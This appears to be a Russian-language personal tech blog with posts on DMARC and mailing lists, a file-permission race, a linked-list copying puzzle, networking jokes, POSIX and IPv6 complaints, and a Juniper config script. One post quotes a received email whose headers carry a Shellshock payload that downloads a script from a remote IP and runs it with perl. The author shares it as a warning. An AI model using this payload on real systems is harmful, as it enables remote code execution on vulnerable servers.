?

Log in

gul_tech
23 December 2020 @ 08:42 am
Я gul_kiev.
Это мой журнал для постингов на технические темы - про Cisco, Juniper, unix и прочее, что может быть неинтересно многим френдам моего основного аккаунта.
 
 
gul_tech
СЯУ, что очередная интернет-технология становится историей из-за несовместимости с новыми стандартами, на этот раз это списки рассылки.

Введение в курс дела.
Письмо (email) состоит из заголовка и тела письма. В заголовке написаны отправитель, получатель, тема письма и ещё всякая информация о письме. В теле, соответственно, текст. При пересылке письма оно вместе с заголовком оборачивается в конверт (envelope), и между почтовыми системами передаются "mail from" (отправитель), "rcpt to" (получатель) и "data" (текст письма вместе с заголовком). Тут важно, что адреса отправителя и получателя на конверте могут не соответствовать адресам в заголовке. Такое часто встречается при переадресации (если письма для user@domain пересылаются на другой адрес, login@host, то в заголовке остаётся "To: user@domain", а на конверте получается уже "To: login@host"), а также в списках рассылки (в заголовке "To: maillist", envelope to "user@domain").

Борьба со спамом и фишингом.
Технология почты позволяет любому человеку отправлять почту куда угодно, и, мало того, от какого угодно адреса. Этим стали активно пользоваться спамеры, подставляя случайный адрес отправителя. Для защиты от этого придумали SPF. Владелец домена может в DNS указать список хостов, от которых может быть отправлена почта с этим доменом в поле "From", а если почта принята откуда-то не оттуда, значит, это спам. Механизм простой и эффективный. Однако не защищающий от подделки header from. Есть ещё callout check (встречный коннект на отправителя, проверяющий, принимает ли он почту), но он проверяет лишь существование адреса отправителя, а не его валидность, и имеет ряд других недостатков.

DMARC.
Поскольку спамеры продолжают активно рассылать почту с поддельным header from, а envelope from пользователю фактически недоступен, возникла необходимость защиты header from от подделки. Для этого разработали DMARC. Владелец домена может включить защиту DMARC, и сервера, поддерживающие эту технологию, не будут принимать почту с header from, отправленную другими сайтами. Но как отличить, это спамер отправил почту от чужого адреса, или это честный пользователь написал в maillist? К сожалению, никак. И вот списками рассылки ради борьбы со спамом решили пожертвовать. И что же они предлагают делать администраторам списков рассылки? А вот что:
1. Никак не модифицируйте письма, т.е. не ставьте хеш списка рассылки в тему письма, не дописывайте футер с информацией о рассылке и т.п. К сожалению, в таком случае получателю будет трудно отличить письма из списка рассылки от личных писем.
2. Добавляйте OAR header. К сожалению, это не поможет, потому что его никто не поддерживает, и нужен механизм доверия между сервером рассылки и почтовой системой получателя. То есть, например, если отправитель в @yahoo.com, а получатель в @gmail.com, то для использования этого способа необходимо, чтобы gmail.com доверял мне (как администратору списка рассылки). Выглядит не очень реальным. К тому же, реализованных механизмов для добавления и обработки этого OAR, как я понял, ещё нет, это просто концепция.
3. Заменяйте header from на какой-то адрес в своём домене. А чтобы получатель мог ответить отправителю, пересылайте почту на этот адрес оригинальному отправителю.
А что, если на этот адрес (светящийся в поле From списка рассылки) будет приходить спам, и он будет пересылаться оригинальному отправителю, какой сервер попадёт в blacklists? Тот, от которого приходит спам получателю, т.е. мой, а не тот, который использовали спамеры. Жизнь спамеров таким образом облегчается!

Обнаружил из-за жалобы, что письма пользователей @yahoo.com в спелеорассылке не попадают примерно половине подписчиков - пользователей почтовых систем, проверяющих DMARC.
Что в такой ситуации делать, не знаю. Нахожусь в некоторой растерянности.

UPD: Некоторые ссылки.
Yahoo breaks every mailing list in the world including the IETF's
dmarc and forwarding
DMARC overview
 
 
gul_tech
Если вам в shell command line нужно создать файл, к которому никто, кроме вас, не должен иметь доступ на чтение, как вы это делаете?
Я обычно делал так:
touch filename
chmod 600 filename
после чего писал туда всё, что мне было нужно.

И оказалось, что злоумышленник без рутовых прав вполне может прочитать мою секретную информацию, если успеет открыть этот файл на чтение между touch и chmod. Ведь права не проверяются на каждую операцию чтения открытого файла, и при chmod с уже открытыми дескрипторами ничего не происходит.

А как это делаете вы?
Я сейчас знаю несколько правильных способов.
Read more...Collapse )
 
 
gul_tech
Пришло такое письмо:

Received: from u16850951.onlinehome-server.com [74.208.184.251]
        by happy.kiev.ua with smtp (Exim 4.80.1)
        id 1XhihW-0005vz-Lr
        for root@localhost; Fri, 24 Oct 2014 20:30:59 +0300
To: {: ;, };, /bin/sh-c'/bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&'&;
References: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Cc: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
Bcc: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
From: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
Subject: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Date: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Message-ID: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Comments: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Keywords: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-Date: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-From: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;


Задумайтесь и вы, не передаётся ли какому-нибудь почтовому транспорту (спамфильтру, автоответчику, процмейлу, логгеру и пр) параметром что-нибудь из тела письма. А если передаётся, безопасно ли это происходит.

Желающие могут скачать и изучить перловый скрипт самостоятельно.
 
 
gul_tech
05 October 2013 @ 03:47 pm
Не очень сложная, но интересная задачка.
Есть односвязный список. В каждом элементе есть некое значение, ссылка на следующий элемент списка и ссылка на какой-то произвольный элемент этого списка.
Нужно сделать независимую копию этого списка.
Ограничения: время выполнения должно быть линейно от длины списка, количество дополнительной памяти (помимо старого и нового списка) константно, т.е. не должно зависеть от длины списка.
Никакими блокировками и параллельным доступом можно не заморачиваться (типа один поток).

UPD: Ни одного решения не дождался.
Эх... :(

[Решение]
На первом проходе из списка A->B->C->D делаем копию каждого элемента, и указатели next ставим таким образом, чтобы получился список A->A'->B->B'->C->C'->D->D', т.е. нечто вроде
for (p=head; p; p=p->next)
{
  p1=memdup(p);
  p->next = p1;
  p=p1;
}

(memdup() - это malloc() и memcpy(), по аналогии с strdup()).

Вторым проходом подправляем rnd-указатели (на произвольный элемент списка) для новых элементов - тот, что указывал на X, теперь будет указывать на X->next, который X':
for (p=head->next; p; p=p->next->next)
{
  p->rnd = p->rnd->next;
}

Третьим проходом делаем из одного длинного списка A->A'->B->B'->... два отдельных, оригинальный A->B->C->D и новый A'->B'->C'->D':
newhead = head->next;
for (p=head, p1=newhead; p; p=p->next, p1=p1->next)
{
  p->next = p->next->next;
  p1->next = p1->next->next;
}

Всё.
Три прохода, две дополнительные переменные - p, p1.
newhead - начало нового списка.

 
 
 
gul_tech
20 April 2013 @ 07:15 pm
Оригинал взят у bytebuster463 в Я знаю шутку...
1. Я знаю отличную шутку про UDP, но не факт, что она до вас дойдет.
2. Я знаю отличную шутку про TCP, но если она до вас не дойдет, то я повторю.
3. А кто знает отличную шутку про ARP?
4. А вы слышали шутку про ICMP?
5. Вам еще кто–то рассказывал шутку про STP?
6. Я подожду Антона и расскажу классную шутку про QoS.
7. Про MTU тоже есть кла
8. XML
9. А про FSMO роли шутить могут не более пяти человек.
10. Подождите все, я расскажу шутку о сети типа "шина".
11. Я бы рассказал отличную шутку про Token Ring, но сейчас не моя очередь.
12. Стой–стой, послушай сначала шутку о прерываниях.
13. Помню времена, когда шутка про модем пшшшшшшш.....
14. Только что, специально для сообщества пришла шутка про мультикаст.
15. Жаль, что шутка про Fault Tolerance не может состоять больше, чем из одного слова.
16. Настало время рассказать шутку про NTP.
17. Я сейчас расскажу отличную шутку про VPN, но ее поймет только один.
18. К шутке про SCTP вначале должны все подготовиться.
19. Из–за одного, кто зевнул, придётся заново рассказывать шутку про frame relay в топологии point–to–multipoint.
20. А шутки про HDLC обычно не понимают те, кто знает другие шутки про HDLC.
21. Про DWDM шутят сразу несколькими голосами.
22. Шутка про Е3 — это 30 одинаковых шуток про Е1 и еще две шутки, понятных только тем, кто в теме.
23. Лучшее в шутках про проприетарные протоколы это УДАЛЕНО.
24. Единственная проблема в шутках про Token Ring в том, что если кто–то начнёт рассказывать шутку пока говорите вы, обе шутки обрываются.
25. Все любят шутки про MitM. Ну, кроме Алисы и Боба, все.
26. идти Самое про BitTorrent — они могут порядке. в шутках лучшее в любом
27. Я бы рассказал шутку про CSRF, если бы ты САМ только что этого не сделал.
28. IGMP шутка; пожалуйста, передай дальше.
29. Нет… Нет ничего… Нет ничего забавного… Нет ничего забавного в шутках… Нет ничего забавного в шутках про определение MTU.
30. PPP шутки всегда рассказываются только между двумя людьми.
31. Шутки про RAID почти всегда избыточны.
32. Фрагментированные шутки…
33. … всегда рассказываются…
34. … по кусочкам.
35. Вы уже слышали шутку про Jumbo фреймы? Она о–очень длинная.
36. Самое клёвое в шутках про rsync, что вам её рассказывают только если вы не слышали её до этого.
37. Проблема с IPv6 состоит в том, что их трудно вспомнить.
38. DHCP шутки смешны, только если их рассказывает один человек.
39. Жаль никто не помнит шутки про IPX
40. У кого есть кабель? Есть смешная шутка про RS–232 и полусмешная про RS–485
41. Я сейчас всем расскажу шутку про бродкаст
42. У меня есть примерно 450 000 шуток про BGP
43. У кого есть пароли, приходите за шутками про RADIUS
44. Шутку про 127.0.0.1 каждым может пошутить себе сам
45. А что, шутки про IPv4 уже закончились?
46. Шутки про RFC1918 можно рассказывать только своим
47. Шутки про IPv6 плохи тем, что их мало можно кому рассказать
48. Шутки про SSH–1 и SSH–2 несовместимы между собой
49. Про Schema Master шутит только один в этом лесу
49. Шутки про MAC–адрес могут не дойти до тёзок
xx. Тут шутка про Banyan подросла
50. DNS–сервер не понял шутку про DDoS и ему её стали пересказывать сто тысяч раз в секунду
51. В шутках про IPSec надо говорить, кому их рассказываешь
52. И ГОСТ, и ISO согласны, что есть 7 уровней рассказывания шуток
52.1 Министерство обороны США понимает только четыре уровня шуток
53. Шутки про шутки про шутки часто звучат в туннелях
54. Шутки про 10/100/1000BASE–T вряд ли услышат с расстояния больше 100 м
Off: Шутки про TFT оставляют смазанное впечатление

 
 
gul_tech
Почему в позиксе нет функции flink(int fd, const char *name)?
Её отсутствие не даёт возможности атомарного создания файла с нужным содержимым. Чтобы можно было создать inode без имени, наполнить его, и присвоить имя только когда он уже готов для дальнейшей обработки. Нет - нужно временное имя, потом rename(), плюс чистка от временных файлов, образовавшихся при обрыве связи, защита от обработки временных файлов, и так при каждом cp, scp, ftp, wget... :-(

Кстати, правильно ли я понимаю, что tmpfile() реализуется как неатомарная последовательность open()+unlink(), или есть syscall, создающий безымянный inode на указанном разделе?
 
 
gul_tech
26 February 2011 @ 12:01 pm
Лень всё же победила. :)
Вместо того, чтобы в очередной раз руками вычищать из конфига куски, которые перестали использоваться (policy-statements, firewall filters и т.п.) написал для этого перловый скрипт.
Ему параметром или на stdin даётся конфиг, он его анализирует, и на выходе выдаёт команды удаления неиспользуемых policy-statements, prefix-lists, community, as-path, firewall filters, firewall policers. Эти команды удаления можно потом копипастнуть в конфиг. Если используется dynamic-db, динамический конфиг можно дать вторым параметром - тогда скажет, что можно удалить и оттуда.

Сначала подумал, не сделать ли его как junoscript (на commit или как op script), но решил, что это и писать сложнее, и использовать менее удобно.
Написан за час (может, два) на коленке, написан неправильно (парсинг конфига, если по уму, нужно делать совсем не так), сделан исключительно под мои конфиги, так что корректную работу с другими конфигами не обещаю. Но может и сработать. :) У меня отработал и на MX, и на EX. Ловит inactive-части конфига, использование firewall filters как input/output на интерфейсе или вложенные, либо как fail-filter в urpf, полисеры - используемые из фильтров или непосредственно на интерфейсе (input/output/arp), policy-statements - в конфигурации протоколов или вложенные.
Если кому предложит удалить что-то лишнее или наоборот - не предложит удалить то, что надо бы - пишите, поправлю. Это только самая-самая первая версия.

Надо будет и для cisco ios такое тоже сделать.

Или это я велосипед изобретаю, и оно такое давно есть стандартное?
Tags:
 
 
gul_tech
05 February 2011 @ 11:00 am
В свете нашумевшего исчерпания IP-адресов составил список - кто является обладателем блоков /8, и используют ли они их. Оказалось, что неиспользуемых довольно много. Хотя и непонятно, можно ли их законно отобрать и дать кому-то другому (RIR-ам).
Под использованием я понимаю наличие BGP-анонсов. То есть, если блок проанонсирован как /8, считаю, что используется полностью, даже если на самом деле там всего одна /24 используется.
С другой стороны, если блок совсем не анонсируется, он считается неиспользуемым, даже если внутри корпорации он активно используется в качестве серых адресов. Потому что нефиг - для этого специально есть 10.0.0.0/8 и др.
В список не включены блоки, отданные RIR-ам, тут только имеющие частных владельцев.
табличкаCollapse )
 
 
gul_tech
04 February 2011 @ 12:12 pm
ipv6  
Хочу ipv7 (или какой там следующий свободен).
В смысле, не хочу ipv6.
Хочу, чтобы всё было как в IPv4, но только адреса 64-битные. Обычный u_int64_t. Одно слово (один регистр) на 64-битных архитектурах.
Лёгкий переход, минимальные правки в софте, количества хватит навсегда, эффективнная обработка... Примерно как с asn16 перешли на asn32 без лишнего шума и потрясений.
Не ощущаю я счастья от ipv6. И ощущаю гемор ещё долгие годы, от параллельного существования ipv4 и ipv6, от невозможности интернетовским ресурсам полноценно существовать только на ipv6 без ipv4 при невозможности безболезненно получить блок ipv4, от неготовности всяких железок к ipv6 (фаерволы, wifi ap, телефоны и т.д.)...
Tags: